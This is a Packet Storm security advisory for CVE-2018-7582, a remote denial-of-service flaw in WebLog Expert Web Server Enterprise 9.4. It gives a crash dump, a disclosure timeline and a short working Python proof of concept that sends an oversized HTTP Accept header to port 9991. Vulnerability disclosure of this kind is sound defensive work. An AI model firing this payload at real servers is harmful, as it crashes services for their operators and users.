Twenty Year Anniversary

WebLog Expert Web Server Enterprise 9.4 Denial Of Service

WebLog Expert Web Server Enterprise 9.4 Denial Of Service
Posted Mar 7, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

WebLog Expert Web Server Enterprise version 9.4 suffers from a denial of service vulnerability.

tags | exploit, web, denial of service
advisories | CVE-2018-7582
MD5 | e86a626a5d9a7984fbd9900209bb8f45

WebLog Expert Web Server Enterprise 9.4 Denial Of Service

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security


Vendor:
=======
www.weblogexpert.com


Product:
=========
WebLog Expert Web Server Enterprise v9.4

WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.



Vulnerability Type:
===================
Denial Of Service


CVE Reference:
==============
CVE-2018-7582



Security Issue:
================
WebLog Expert Web Server Enterprise 9.4 allows Remote Denial Of Service (daemon crash) via a long HTTP Accept Header to TCP port 9991.


(e7c.1750): CLR exception - code e0434352 (first/second chance not available)
eax=00000000 ebx=06d1d098 ecx=00000005 edx=00000000 esi=00000002 edi=00000000
eip=778d016d esp=06d1d048 ebp=06d1d0e4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
778d016d 83c404 add esp,4



Exploit/POC:
=============
import socket

print 'Weblog Expert Server / Denial Of Service'
print 'hyp3rlinx'

IP='Weblog Expert Server IP'
PORT=9991
PAYLOAD="GET /index.html HTTP/1.0 Host: +'IP'+':9991 User-Agent: Mozilla Accept: */*" + "A"*2000+'\r\n\r\n'

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(PAYLOAD)
s.close()




Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: February 3, 2018
Second attempt : February 17, 2018
March 7, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    8 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close